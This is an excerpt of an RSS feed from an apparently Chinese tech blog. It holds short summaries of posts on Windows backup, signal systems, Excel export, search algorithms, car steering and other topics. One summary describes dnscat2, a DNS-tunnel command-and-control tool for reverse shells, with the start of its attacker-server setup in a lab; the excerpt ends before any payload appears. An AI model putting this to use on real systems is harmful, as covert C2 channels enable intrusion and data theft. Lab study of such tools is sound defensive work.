      <description> 通过Widows Server Backup实现共享文件夹定时备份 客户需求：根据现场客户提出能否通过共享文件夹定时实现数据的备份。&#xA;实验环境：widows server 2012 widows server 2016&#xA;实验步骤：&#xA;打开服务器管理器，选择添加角色功能，安装Widows Server Backup服务。&#xA;创建远程登录共享文件夹的用户。&#xA;注：必须指定密码，否则创建备份计划登录远程文件夹时提示不符合策略登录失败。&#xA;需改隶属组，添加Administrator、Backup Operators组。&#xA;创建配置远程共享文件夹（存储备份文件的位置）的权限。&#xA;配置用户对文件夹的写入权限。&#xA;说明：创建文件夹（备份数据存储位置），选择高级共享添加用户并赋予相关权限并修改添加文件夹的权限。&#xA;测试，两边共享文件夹能否正常访问。&#xA;注：通过ipconfig命令查看两边IP地址并测试。&#xA;输入创建的远程登录用户名及密码。&#xA;注：以上结果，说明共享文件夹访问正常。（如：出现报错，无法访问，请检查防火墙策略及登录用户的权限问题）&#xA;创建备份计划。&#xA;第一步，选择备份类型，这边根据用户需求选择自定义。&#xA;第二步，选择，需要备份的文件夹添加到项目中。&#xA;第三步，选择，备份时间。&#xA;第四步，选择，备份到网络文件夹。&#xA;第五步，配置，备份位置。&#xA;注：该位置是共享文件夹的路径，用户名密码是创建的backup用户（两台设备都要创建该用户并赋予以上相应权限及隶属组），只有该用户对共享文件夹具有相应权限。&#xA;注：需要将备份的路径添加backup用户并赋予权限，否则将造成备份失败。&#xA;第六步，创建备份任务成功。&#xA;查看是否备份成功。&#xA;对端检查备份数据是否存在。 以上说明备份成功。&#xA;测试数据的恢复还原。&#xA;第一步，删除原始数据。&#xA;​ 第二步，进行备份恢复操作。&#xA;第三步，选择远程共享文件夹。&#xA;第四步，指定文件路径。&#xA;第五步，选择上次备份的日期时间。&#xA;第六步，选择恢复的类型。&#xA;第七步，选择需要恢复的文件和文件夹。&#xA;第八步，选择恢复的位置。&#xA;注：因原文件夹已被删除，所以无法选择原始位置。&#xA;第九步，确认恢复文件。&#xA;第十步，恢复完成。&#xA;第十一步，检查是否恢复。&#xA;通过以上图文说明，已完成用户提出需求。用户发现每日一次备份太过频繁。提出新的需求问题，实现每周备份一次。&#xA;说明：实现每周备份一次，Widows Server Backup服务只支持一天一次或多次，所以我们需要借助任务计划程序实现该需求。&#xA;在服务器管理器中，找到并打开任务计划程序。&#xA;点击Microsoft-Windows-WindowsBackup名称右击选择属性并打开。&#xA;注：选择触发器并编辑，根据需求设置时间。&#xA;设置完成。&#xA;通过以上实验，满足了用户通过共享文件夹定时实现文件的备份及恢复的需求。如有问题请批评指正，谢谢！ </description>
    </item>
    <item>
      <title>线性时不变（LTI）系统</title>
      <link>https://bchobby.github.io/posts/3aa9ec3f83ee8df50b901b44aafa99c1/</link>
      <pubDate>Fri, 30 Dec 2022 12:11:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3aa9ec3f83ee8df50b901b44aafa99c1/</guid>
      <description>线性时不变（LTI）系统 典型系统 线性系统：&#xA;线性系统是指同时满足叠加性与齐次性的系统。所谓叠加性是指当几个输入信号共同作用于系统时，总的输出等于每个输入单独作用时产生的输出之和;齐次性是指当输入信号增大若干倍时，输出也相应增大同样的倍数。不满足叠加性和齐次性的系统即为非线性系统。&#xA;更加形象的表达就是&#xA;齐次性：任意 x ( t ) ⟶ 系统 y ( t ) x(t)\overset{系统}{\longrightarrow} y(t) x(t)⟶系统​y(t) ,有 a x ( t ) ⟶ 系统 a y ( t ) ( ∀ a ϵ R ) ax(t)\overset{系统}{\longrightarrow} ay(t) \left ( \forall a\epsilon R \right ) ax(t)⟶系统​ay(t)(∀aϵR) 。叠加性：任意 { x 1 ( t ) ⟶ 系统 y 1 ( t ) x 2 ( t ) ⟶ 系统 y 2 ( t ) .</description>
    </item>
    <item>
      <title>无法将“XXX”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写，如果包括路径，请确保路径正确，然后再试一次。怎么解决...</title>
      <link>https://bchobby.github.io/posts/7fe0057678abaad267483e91c079ab50/</link>
      <pubDate>Fri, 30 Dec 2022 12:00:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7fe0057678abaad267483e91c079ab50/</guid>
      <description> 这个错误通常表示你在 Windows PowerShell 中输入的命令无法被识别。可能是因为拼写错误，也可能是因为所需的命令或程序不在你的系统上。&#xA;要解决这个问题，你可以尝试以下步骤：&#xA;确认你输入的命令拼写是否正确。可以使用 Get-Command 命令来查看可用的命令列表。&#xA;如果你输入的命令是一个脚本文件，请确保文件路径正确，并且文件本身是可执行的。&#xA;如果你输入的命令是一个可执行程序，请确保程序已安装在你的系统上，并且你在正确的目录中。&#xA;如果仍然无法解决问题，你可以尝试使用 Get-Command 命令来查找相似的命令。&#xA;例如：&#xA;Get-Com </description>
    </item>
    <item>
      <title>解决VMware中Ubuntu磁盘占用过大的问题</title>
      <link>https://bchobby.github.io/posts/be9964a29b98fb3045f788b9aff9d783/</link>
      <pubDate>Fri, 30 Dec 2022 10:23:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be9964a29b98fb3045f788b9aff9d783/</guid>
      <description>一直在 Windows VMware 中安装的 Ubuntu 虚拟机中做开发，有一次在将 window 的一个 2GB 的大文件拖入虚拟机时，虚拟机报错说是磁盘空间不足。&#xA;看了一下本地的磁盘空间，D 盘原本还剩 100GB 左右，结果现在只剩 20MB 了且已经飘红了！&#xA;再看虚拟机设置，当初只分配了 132GB 的空间：&#xA;结果现在显示占有 200 多 GB：&#xA;但进入虚拟机查看磁盘使用情况，却显示：&#xA;dfl@webdev:~$ df -hl 文件系统 容量 已用 可用 已用% 挂载点 tmpfs 980M 2.2M 978M 1% /run /dev/sda3 129G 50G 73G 41% / tmpfs 4.8G 102M 4.7G 3% /dev/shm tmpfs 5.0M 4.0K 5.0M 1% /run/lock /dev/sda2 512M 5.3M 507M 2% /boot/efi tmpfs 980M 4.7M 975M 1% /run/user/1000 /dev/sr0 3.</description>
    </item>
    <item>
      <title>POI通过模板导出excel（包含表头合并处理）</title>
      <link>https://bchobby.github.io/posts/79eb93e18b0e614f660a27c5779c990f/</link>
      <pubDate>Fri, 30 Dec 2022 09:31:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79eb93e18b0e614f660a27c5779c990f/</guid>
      <description>最近接触到比较多poi相关的需求，总结一下通过模板导出以及表头合并的一些复杂情况处理。&#xA;简单使用的话可以参考下我之前写的 POI实现导入导出excel&#xA;目录： 1、POI通过模板导出2、POI表头合并处理 1、POI通过模板导出 其实通过模板导出的原理，无非就是去获取到指定的模板文件，然后再去转换成文件流，最后填充自己的数据再转出excel文件。&#xA;先看下模板：（模板包含了一些样式，需要手动创建比较麻烦，所以采用模板转文件流的方式）&#xA;看下代码：&#xA;public static void exportMain(String templatePath){ //获取模板 File file = new File(templatePath); InputStream is = null; XSSFWorkbook wb = null; XSSFSheet sheet = null; InputStream exportInput = null; try { is = new FileInputStream(file);// 将excel文件转为输入流 wb = new XSSFWorkbook(is);// 创建个workbook， // 获取第一个sheet sheet = wb.getSheetAt(0); //例子是第四行开始表头 XSSFRow row3 = sheet.getRow(3); //获取总列数 int cellNum = row3.getLastCellNum(); //获取第四行的列 for (int i=0;i&amp;lt;cellNum;i++){ XSSFCell cell = row3.</description>
    </item>
    <item>
      <title>数据结构——查找的基本概念</title>
      <link>https://bchobby.github.io/posts/892b5bf83ebf8b97c4967e6e9bdf52c5/</link>
      <pubDate>Thu, 29 Dec 2022 19:07:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/892b5bf83ebf8b97c4967e6e9bdf52c5/</guid>
      <description>——本节内容为Bilibili王道考研《数据结构》P68~71视频内容笔记。&#xA;目录&#xA;一、基本概念&#xA;1.查找&#xA;2.查找表（查找结构）&#xA;3.关键字&#xA;4.静态查找表&#xA;5.动态查找表&#xA;6.查找长度&#xA;7.平均查找长度ASL&#xA;8.查找算法的效率评价&#xA;二、顺序查找&#xA;1.顺序查找&#xA;2.顺序查找的实现&#xA;3.图示&#xA;4.补充解释&#xA;5.有序表的顺序查找&#xA;6.被查概率不相等的情况&#xA;三、折半查找&#xA;1.折半查找&#xA;2.思想&#xA;3.算法&#xA;4.例子&#xA;5.查找效率分析&#xA;四、分块查找&#xA;1.分块查找&#xA;2.查找步骤&#xA;3.折半查找索引表&#xA;4.查找效率分析&#xA;一、基本概念 1.查找 在数据集合中寻找满足某种条件的数据元素的过程称为查找。&#xA;2.查找表（查找结构） 用于查找的数据集合称为查找表，它由同一类型的数据元素（或记录）组成。&#xA;3.关键字 数据元素中唯一标识该元素的某个数据项的值，使用基于关键字的查找，查找结果应该是唯一的。&#xA;4.静态查找表 只进行查找符合条件的数据元素的操作，无需动态地修改查找表的查找表称为静态查找表。&#xA;5.动态查找表 需要动态地插入或删除的查找表称为动态查找表。&#xA;6.查找长度 在查找运算中，需要对比关键字的次数称为查找长度。&#xA;7.平均查找长度ASL 所有查找过程中进行关键字的比较次数的平均值，其数学定义为&#xA;式中，n是查找表的长度即元素个数；Pi是查找第i个数据元素的概率，一般认为每个数据元素的查找概率相等，即Pi=1/n；Ci是查找到第i个数据元素所需要进行的比较次数即查找第i个元素的查找长度。&#xA;ASL的数量级反映了查找算法时间复杂度。&#xA;8.查找算法的效率评价 （1）平均查找长度ASL；&#xA;（2）通常考虑查找成功、查找失败两种情况下的ASL。&#xA;二、顺序查找 1.顺序查找 即从头到尾依次查找，不论怎么优化，其时间复杂度都为O(n)。&#xA;2.顺序查找的实现 typedef struct {&#x9;//查找表的数据结构 int* elem;&#x9;//元素存储空间基址，建表时按实际长度分配，0号单元留空 int TableLen;&#x9;//表的长度 }SSTable; int Search_Seq(SSTable ST, int key) { ST.</description>
    </item>
    <item>
      <title>Dnscat2实现DNS隐蔽隧道反弹Shell</title>
      <link>https://bchobby.github.io/posts/9f3e562278b985b9b1c1a6bdac4aa3d8/</link>
      <pubDate>Thu, 29 Dec 2022 17:45:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f3e562278b985b9b1c1a6bdac4aa3d8/</guid>
      <description>目录&#xA;概述&#xA;dns简介&#xA;dnscat2简介&#xA;原理简述&#xA;漏洞复现&#xA;Dnscat2环境搭建&#xA;linux服务端搭建&#xA;linux客户端搭建 开启隧道&#xA;Dnscat2工具命令的使用&#xA;概述 dns简介 DNS是域名系统(Domain Name System)的缩写，是因特网的一项核心服务，它作为可以将域名和IP地址相互映射的一个分布式数据库，能够使人更方便的访问互联网，而不用去记住能够被机器直接读取的IP数串。&#xA;DNS Tunneling可以利用其中的一些记录类型来传输数据。例如A，AAAA，MX，CNAME,TXT，,MX,SOA,NS，NULL等。&#xA;A记录：A记录是用来指定主机名对应的ip地址记录，简单的说A记录是指定域名对应的IP地址。&#xA;AAAA记录：记录将域名解析到一个指定的ipv6的ip上CNAME记录，别名解析。可以将注册不同的域名解析到一个ip地址。&#xA;NS记录：域名服务器记录，用来指定该域名是由哪个DNS服务器进行解析。&#xA;MX记录:指向的是一个邮件服务器。&#xA;TXT记录：一般是指某个主机名或域名的说明&#xA;PTR记录：反向DNS&#xA;DNS的解析过程可以分为两种类型：迭代查询和递归查询。通常本机到Local DNS Server的过程属于递归查询，而Local DNS Server对查询域名的解析过程属于迭代查询。为了减轻Local DNS Server的压力，提高解析速度，引入了缓存机制。缓存和TTL紧密相连，当TTL过期，Local DNS Server则会丢弃缓存的数据，重新从权威域名服务器上获取新的数据。&#xA;本地客户端----&amp;gt;Local DNS server----&amp;gt;根域服务器&#xA;Dns解析过程：系统发出dns解析之前会先看看本地是否保存了相关域名的解析，系统检测到hosts文件中没有响应的域名解析的时候会发送给本地dns解析服务器进行解析，解析之前会看看缓存中是否存在，如果没有，再将解析请求发给下一个dns服务器。结果返回后将该域名的解析结果保存到缓存中。&#xA;dnscat2简介 dnscat2是一个DNS隧道工具，通过DNS协议创建加密的命令和控制通道，它的一大特色就是服务端会有一个命令行控制台，所有的指令都可以在该控制台内完成。包括：文件上传、下载、反弹Shell……等功能。&#xA;原理简述 Dnscat2分为两部分：客户端和服务器。&#xA;客户端：&#xA;在受感染的计算机上运行。C语言编写的，具有最小可能的依赖性。&#xA;运行模式如大多DNS隧道工具一样：Dnscat2客户端-&amp;gt;DNS服务商-&amp;gt;Dnscat2服务端。&#xA;如果您没有购买域名，还可以在UDP/53上使用直连。它们会更快，但它在数据包中更明显（所有域名都以dnscat为前缀，除非你破解了源代码）。防火墙经常会阻止此模式。&#xA;服务端：&#xA;Ruby语言编写，在服务器上运行。它除了监听在UDP/53上发送给它的消息之外，还要指定它应该监听哪个域名。（注意，监听端口可以更改）&#xA;当它接收其中一个域名的流量时，它会尝试建立DNS连接。如果它接收到其他流量，它默认忽略它，当然你也可以在上游转发它。&#xA;漏洞复现 Dnscat2环境搭建 kali linux（服务端，攻击机）&#xA;kali linux（客户端，靶机）&#xA;Dnscat2工具下载入口：&#xA;https://github.com/iagox86/dnscat2&#xA;可以一起搭建，先操作服务端，因gem过程很慢。&#xA;linux服务端搭建 git clone https://github.com/iagox86/dnscat2.git （github下载慢，我已下载到本地） cd dnscat2/server/ gem install bundler apt-get install ruby-dev 会提示是否需要重启，点取消（我直接回车了）</description>
    </item>
    <item>
      <title>hnu计网实验一-应用协议与数据包分析实验(使用Wireshark)</title>
      <link>https://bchobby.github.io/posts/46a747982617b2de7abcedd8809d7d32/</link>
      <pubDate>Thu, 29 Dec 2022 12:25:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46a747982617b2de7abcedd8809d7d32/</guid>
      <description>前言：这是个比较简单的实验，个人认为最难的不是分析部分，而是能否抓到一个好的包。为了抓到一个好的包我试了很多个网站，终于抓京东时抓到了令我个人最满意的包，因为没有其他各种杂乱的报文，就是那几条必要的报文，因此如果抓的包不满意的话可以多尝试几个不同的网站。&#xA;一、实验目的 通过本实验，熟练掌握Wireshark的操作和使用，学习对HTTP协议进行分析。&#xA;二、实验内容 1．HTTP 协议简介&#xA;HTTP 是超文本传输协议（Hyper Text Transfer Protocol）的缩写，用于WWW 服务。&#xA;（1）HTTP 的工作原理&#xA;HTTP 是一个面向事务的客户服务器协议。尽管HTTP 使用TCP 作为底层传输协议，但 HTTP 协议是无状态的。也就是说，每个事务都是独立地进行处理。当一个事务开始时，就在web客户和服务器之间建立一个TCP 连接，而当事务结束时就释放这个连接。此外，客 户可以使用多个端口和和服务器 （80 端口）之间建立多个连接。其工作过程包括以下几个阶段。&#xA;服务器监听TCP 端口 80，以便发现是否有浏览器 （客户进程）向它发出连接请求；一旦监听到连接请求，立即建立连接。浏览器向服务器发出浏览某个页面的请求，服务器接着返回所请求的页面作为响应。释放TCP 连接。 在浏览器和服务器之间的请求和响应的交互，必须遵循HTTP 规定的格式和规则。当用户在浏览器的地址栏输入要访问的HTTP 服务器地址时，浏览器和被访问HTTP 服务器的工作过程如下：&#xA;① 浏览器分析待访问页面的URL 并向本地DNS 服务器请求IP 地解析；&#xA;② DNS 服务器解析出该HTTP 服务器的IP 地址并将IP 地址返回给浏览器；&#xA;③ 浏览器与HTTP 服务器建立TCP 连接，若连接成功，则进入下一步；&#xA;④ 浏览器向HTTP 服务器发出请求报文 （含GET 信息），请求访问服务器的指定页面；&#xA;⑤ 服务器作出响应，将浏览器要访问的页面发送给浏览器，在页面传输过程中，浏览器会打开多个端口，与服务器建立多个连接；&#xA;⑥ 释放TCP 连接；&#xA;⑦ 浏览器收到页面并显示给用户。&#xA;2、HTTP 报文格式&#xA;HTTP有两类报文：从客户到服务器的请求报文和从服务器到客户的响应报文。&#xA;图1.1 HTTP 的请求报文和响应报文结构&#xA;在图1.1 中，每个字段之间有空格分隔，每行的行尾有回车换行符。各字段的意义如下：&#xA;① 请求行由三个字段组成：</description>
    </item>
    <item>
      <title>线控转向量产商用的挑战与曙光</title>
      <link>https://bchobby.github.io/posts/4edab5404d45cb8b0a1b886109ef2249/</link>
      <pubDate>Thu, 29 Dec 2022 11:21:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4edab5404d45cb8b0a1b886109ef2249/</guid>
      <description>交流群 | 进“传感器群/滑板底盘群”请加微信号：xsh041388&#xA;交流群 | 进“汽车基础软件群”请加微信号：Faye_chloe&#xA;备注信息：群名称 + 真实姓名、公司、岗位&#xA;作者 | 张萌宇&#xA;线控转向有广义和狭义之分。广义的线控转向是指由电信号控制转向功能的转向系统，不一定取消转向轮和方向盘之间的机械连接；狭义的线控转向是指由电信号控制转向功能，并且取消了转向轮和方向盘之间的机械连接的转向系统。狭义的线控转向系统，又可以分为带方向盘的和不带方向盘的，假如带了方向盘，方向盘一般不随车轮转动——比如耐世特的静默方向盘线控转向系统。&#xA;在本文的语境中，如无特殊说明，线控转向均特指狭义的线控转向。&#xA;目前在乘用车上普遍使用的是电动助力转向系统(Electric Power Steering，EPS)，属于“广义”线控转向的一种，其渗透率已超过90%。如上图所示，EPS是在驾驶员转动方向盘之后，转矩传感器记录转向扭矩并传输给电控单元，电控单元计算出转向助力控制伺服电机工作从而实现助力。&#xA;与电动助力转向系统不同的是，线控转向系统(Steering By Wire System，SBW)由电控单元控制的转向电动机驱动车轮转动，车轮和方向盘之间没有机械连接。&#xA;在线控转向系统中，车轮转向执行器增加了线控的接口，转向力矩完全依靠下转向执行器来输出，而下转向执行器输出力的方向和大小以及转动的速度都依赖于控制算法的信号。这意味着，转向系统可以完全由控制算法来接管，而无需依赖于手工转动方向盘，如此一来，自动驾驶功能的实现就具备了一项先决条件。 其实，线控转向并不是一个新的概念。早在20世纪50年代，TRW和Kasselmann就提出了线控转向的概念，不过当时仅仅停留在概念中。&#xA;到了1990年，德国奔驰公司开始了线控转向的研究，并于1996年将开发的线控转向系统应用于F200概念车上。此后很多研究机构、主机厂、零部件厂商例如日本国立大学、宝马、捷太格特等都对线控转向展开了研究，并陆续推出了一些代表性产品。 1999年，宝马汽车公司推出概念车BMWZ22。在应用了线控转向技术后，此款车能够实现可变传动比，方向盘需要转动的最大角度减少到了160度，极大降低了紧急转向时驾驶员的操作难度。&#xA;2016年，采埃孚(ZF)和天合汽车(TRW)合并后展示的一辆原型车上搭载了采埃孚天合的前后桥转向系统，该系统可实现纯电动操控。2018年，博世华域与奥迪合作的线控转向产品搭载于奥迪A3上在全国巡回展示。&#xA;然而，时至今日，线控转向产品尚未大规模应用在乘用车上。2013年，英菲尼迪旗下的Q50上市，此款车上搭载了带机械冗余的线控转向。然而2014年，英菲尼迪就对Q50实施了召回，原因是线控转向系统存在安全问题。此后，市面上一直没有真正意义上搭载了线控转向的汽车量产。&#xA;直到2022年4月，丰田旗下的bZ4X上市，海外版产品使用了捷太格特的线控转向系统One Motion Grip 。在此款产品上，方向盘和前轮之间没有机械连接，取而代之的是电线和电子系统，方向盘根据汽车行驶速度和车轮转向角度改变转向比和力反馈。 但很难说bZ4X的上市代表着线控转向在乘用车上成功地实现了量产应用。&#xA;2022年6月，因为轮毂问题，丰田在海外市场对bZ4X实施了召回，此时大部分bZ4X还未正式交付。10月，丰田在全球范围内再次召回bZ4X，原因仍然是轮毂问题。在中国市场，因为法规问题，bZ4X仍然采用了带机械连接的转向系统。所以目前仍然不能说线控转向在乘用车上成功地实现了量产应用。&#xA;有投资人表示短期内对线控转向的落地不太看好，理由是目前线控转向的性价比太低，成本高但无法给驾驶员带来明显的体验提升。但今年10月采埃孚与蔚来签订协议要共同研发线控转向产品，耐世特在2022年的中报上公告拿下了某主机厂金额达20亿元的线控转向系统订单。可见，即便之前的案例算不上成功，仍然有厂商在这一领域坚持研发。&#xA;1. 研发线控转向的价值&#xA;那么，大家为什么要研究线控转向？线控转向可以给用户带来哪些体验的提升呢？&#xA;1.1 底盘线控化的一部分&#xA;有投资人提到，智能化时代，汽车的电子电气架构由分布式向域集中式再向中央集成式发展。在这种背景下，转向作为底盘的一部分，随着上下车身的解耦以及高级别自动驾驶的实现，线控化是必然的趋势。&#xA;算法可以实现比人更快的响应速度以及更高的准确度，如今很多乘用车具备的车道紧急避障功能就依赖于算法的快速响应以及精准控制。随着高等级自动驾驶的落地，用算法来控制转向将成为刚需。&#xA;清华苏研院底盘所所长高峰认为“制动、转向、悬架的线控都是底盘域集中控制的一部分。制动会向IPB+RBU(&amp;lt;=L3)、EMB(L4&amp;amp;L5)发展。转向会从有机械耦合（&amp;lt;=L2), 向无机械耦合（L3&amp;amp;L4）、无方向盘采用底盘备用终端（L5)发展。” 1.2 车身设计更灵活&#xA;线控转向取消了方向盘和转向轮之间的机械连接，给车身设计带来了更多的灵活性。机械连接的取消一方面能够节省驾驶位的空间，驾驶员腿部可以更舒展；另一方面也使得方向盘和转向轮实现了解耦，因为方向盘和转向轮不必同时转动了。&#xA;解耦之后，方向盘就可以伸缩，也可以用来实现其他功能。假如未来L4级别的自动驾驶得以实现，除用于控制车辆行驶外，方向盘还可以支持娱乐功能。可以想象这么一个场景，把游戏的界面投影到HUD，方向盘充当手柄，用方向盘来控制游戏中的道具。此外，还可以在方向盘上做一些跟音乐相关的律动，给用户带来更加真实的体验。 另外，假如实现了&amp;gt;=L3级别的自动驾驶，在驾驶员不用接管的时候，方向盘因为机械连接的存在一直跟随车轮转动，驾驶员的体验会比较差。 1.3 传动比更灵活&#xA;汽车转向的时候，方向盘转动的角度和车轮转动的角度的比值叫做传动比。在传统的转向系统中，方向盘和车轮执行器有机械连接，传动比是固定的。然而，一旦把机械连接去掉，传动比就是可变的。&#xA;为什么需要可变传动比呢？主要是低速行车的时候调小传动比可以使转向操作更省力，以及在高速行车的时候调大传动比可以避免不小心偏离车道。&#xA;低速行车的状态下，转动方向盘会相对吃力。在需要掉头的时候，假如不调节传动比，方向盘需要转动较大的角度才能带动车轮转动相应的角度。若将低速行车时的传动比调小，那么方向盘仅需转动较小的角度就可以带动车轮转动掉头所需的角度，从而实现便捷掉头。&#xA;高速行车状态下，方向盘很容易转动，驾驶员不经意间的动作就可能带动方向盘转动可观的角度，假如车轮跟随方向盘也转动相应的角度，车辆有可能偏离车道造成危险。那么，将高速行车时的传动比调大，就能较好地规避因驾驶员误操作带来的风险。&#xA;此外，还可以根据场景做一些定制化设计。济驭科技总经理罗永昌提到，“虽然EPS也可以在设计时通过调节齿轮大小改变转向比，但一旦设计好之后就无法改变了；相比之下，线控转向就更加灵活，在上车之后也可以根据场景做定制化设计。”&#xA;某测评博主表示“bZ4X的转向是非常运动的设定。首先这台车的方向盘盘幅就比较小，握在手里非常有运动型车的味道，并且在转动方向盘时，车头会立即做出快速响应，随着转向角度的增加，回正的力度也会以极其线性、细腻的方式变重。在快速过弯时，bZ4X的转向系统也会呈现出相当强的中心感，驾驶者可以通过手上的回馈力感知到前轮转向角度的变化。而在日常驾驶时，bZ4X的转向手感轻重适中，并不会太过于轻飘导致没有安全感，但也不会过于沉重导致开起来很累。”&#xA;当前的EPS系统毕竟带着机械连接，在自由度上不及线控转向系统。比如上文的博主测评中提到的丰田bZ4X可以实现“在转动方向盘时，车头会立即做出快速的响应，随着转向角度的增加，回正的力度也会以极其线性、细腻的方式变重。”假如用EPS系统，恐怕就很难实现。&#xA;1.4 降低车身相撞的危害程度&#xA;汉鼎智能CEO刘泽金告诉笔者：“两辆汽车相撞的时候，在相撞力的作用下，转向系统的机械连接由于没有能量回收功能，会把方向盘往驾驶员的方向推，从而对驾驶员造成伤害。有数据显示，驾驶员在车祸中受伤，很多时候都是和方向盘的撞击造成的。假如转向系统是不带机械连接的，在碰撞的瞬间，方向盘和人之间的相对速度会大幅减小，相应地，冲击力也会大幅减小，驾驶员受到的伤害就会减轻很多。”&#xA;当然，安全气囊也可以实现类似的效果，只是线控转向可以从另外一个角度减轻两车相撞对驾驶员造成的伤害。&#xA;诚然，线控转向可能是未来的趋势，但在L4级别的自动驾驶何时能落地尚不明朗的当下，搭载线控转向有必要吗？从笔者目前了解到的信息来看，产业界人士、投资人还没有达成共识。&#xA;一方认为，在L4级别的自动驾驶到来之前，搭载线控转向是没有意义的。因为就目前的情形来看，线控转向给用户带来的体验提升很有限，顶多是锦上添花，远非雪中送炭。自动驾驶最刚需的功能——用电信号来控制转向轮，现有的EPS系统也可以实现。&#xA;而且在技术还不够成熟的情形下，线控转向还会带来一些额外的麻烦。比如拿掉机械连接后驾驶员会失去“路感”，——当前的路感模拟器的效果还没有到令人特别满意的程度。以现有的技术水平，路感模拟器还很难恰到好处地把需要反馈的信息反馈给驾驶员，同时把不需要的信息过滤掉。&#xA;另一方认为，那些认为“线控转向没必要”的观点，本质上还是仅仅把车作为出行工具来看待。智能底盘行业专家齐佳宁认为，随着智能化的演进，未来的汽车远远不止是一个代步工具，它可以是智能移动空间。从这个角度，能把方向盘解放出来发挥娱乐功能的重要性就大大增加了。而且在实现了&amp;gt;=L3级别的自动驾驶之后，假如没有线控转向，驾驶员不操控的时候，车轮通过机械连接带动方向盘转动就会让人感觉很别扭。 虽然从功能的角度看，线控转向好像不是刚需，但当基本的技术越来越成熟的时候，能给用户体验带来提升的东西都非常值得去尝试。手机当初被发明出来是因为人们需要通信，但在智能手机时代，几乎没有人会在买手机的时候去关注它的通话功能——人们更在乎的可能是各类app运行是否流畅，拍照是否好看等，而在智能手机被大众全面认可之前，这些都会被认为“不是刚需”。&#xA;2. 线控转向上车的阻碍因素&#xA;抛开上述关于线控转向“是否必要”的争论，从当前的实际情形来看，线控转向的量产确实有很多困难。为什么时至今日线控转向仍然没有成功的量产案例呢？阻碍线控转向上车的因素有哪些呢？</description>
    </item>
    <item>
      <title>77%的本科毕业生起薪超过1万元，程序员的薪资到底有多高？</title>
      <link>https://bchobby.github.io/posts/7d86070ccca4e9e450a50818e178c0a9/</link>
      <pubDate>Thu, 29 Dec 2022 09:45:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d86070ccca4e9e450a50818e178c0a9/</guid>
      <description> 都说互联网行业进入了寒冬， 可实际上，程序员的薪资还是非常可观的啊！&#xA;最近拉勾招聘数据研究院发布一则报告《2022程序员群体职场洞察报告》针对程序员群体展开调研，呈现出当下程序员的职场生存状态、薪资水平以及职业选择。&#xA;报告显示，程序员薪资水平相对较高。77%的本科毕业生起薪超过1万元，其中74%的00后应届毕业生月薪在1-3万元区间，只有23%的00后程序员薪资在1万元以下。&#xA;当然，在拥有工作经验后的程序员薪资会更高。&#xA;其中按年龄分布情况，年满35周岁85年前出生的程序员作为积累了一定年资的技术人才，在这一年龄区间，竟有33%的程序员月薪达到5万元以上。&#xA;86-90年之间出生的程序员中，薪资在3-5万元区间的程序员比例高达64%，且在这一年龄段内，有10%的程序员月薪达到5万元以上。&#xA;90年-95年出生的程序员月薪主要集中在3-5万元区间。&#xA;就连95年-00年出生的程序员中，都有21%的程序员月薪达到3-5万元。&#xA;这足以说明程序员是个越老越吃香的职业。&#xA;早在今年7月份，Code Submit 统计了2022年全球20多个国家程序员的薪酬状况，分析软件工程行业薪酬情况。&#xA;数据显示，中国程序员的平均年薪为 23790 美元（约合人民币160418元）。&#xA;从这一数据来看，中国程序员平均月薪突破万元大关，薪酬具备竞争力。&#xA;那现在的程序员最想要从事什么行业呢？&#xA;报告显示，程序员最期待从事的行业是互联网/通信/电子行业（俗称IT行业），占比为63.7%，在“互联网+”的进程中，各行业对技术型人才尤其是程序员类的需求日益增加。&#xA;消费/制造、制药/医疗、金融/保险行业的人才吸引力有所提升，分别有38.7%、20%、18.3%的IT从业者看好行业前景并期待加入。&#xA;再来说说为什么互联网行业薪资会这么高吧，究其根本就是互联网行业主要的产品都是虚拟产品，如网游或者技术服务等，其成本主要为服务器及人工成本，其中人才是关键。&#xA;一家互联网企业的发展和崛起肯定离不开技术人才，所以对于人才的重视度会更加优于其他行业，给出的工资相对也较高。&#xA;毕竟它不是机械性，重复性的工作，很多需要思考，需要技术，需要研发解决。&#xA;作者：职场不靠谱攻略 链接：https://www.163.com/dy/article/HMN7HQKR0552RA8I.html </description>
    </item>
    <item>
      <title>Mybatispuls查询指定字段的方式</title>
      <link>https://bchobby.github.io/posts/cd4bbcb9ceec7ab67007aedb0b63130c/</link>
      <pubDate>Thu, 29 Dec 2022 09:16:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd4bbcb9ceec7ab67007aedb0b63130c/</guid>
      <description>原文地址：Mybatispuls查询指定字段的方式_好想学习呀的博客-CSDN博客_mybatisplus根据字段查询&#xA;当我使用Mybatisplus的时候发现每次查询都是数据库的整个列进行查询,后来查询资料发现.想要查询指定列可以使用如下的方式&#xA;QueryWrapper&amp;lt;User&amp;gt; queryWrapper=new QueryWrapper();&#xA;queryWrapper.select(&#34;email&#34;).eq(&#34;email&#34;,&#34;2268435763&#34;);&#xA;List&amp;lt;User&amp;gt; list = userdao.selectList(queryWrapper);&#xA;System.out.println(list);&#xA;但是在结果集里面封装的时候还是会使用完整的JavaBean进行封装,只不过是字段用null填充了</description>
    </item>
    <item>
      <title>Python-实战：基于白鲸BWO算法的VMD超参数优化</title>
      <link>https://bchobby.github.io/posts/f2851a327c732290a2f48430c9a2c176/</link>
      <pubDate>Thu, 29 Dec 2022 08:26:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2851a327c732290a2f48430c9a2c176/</guid>
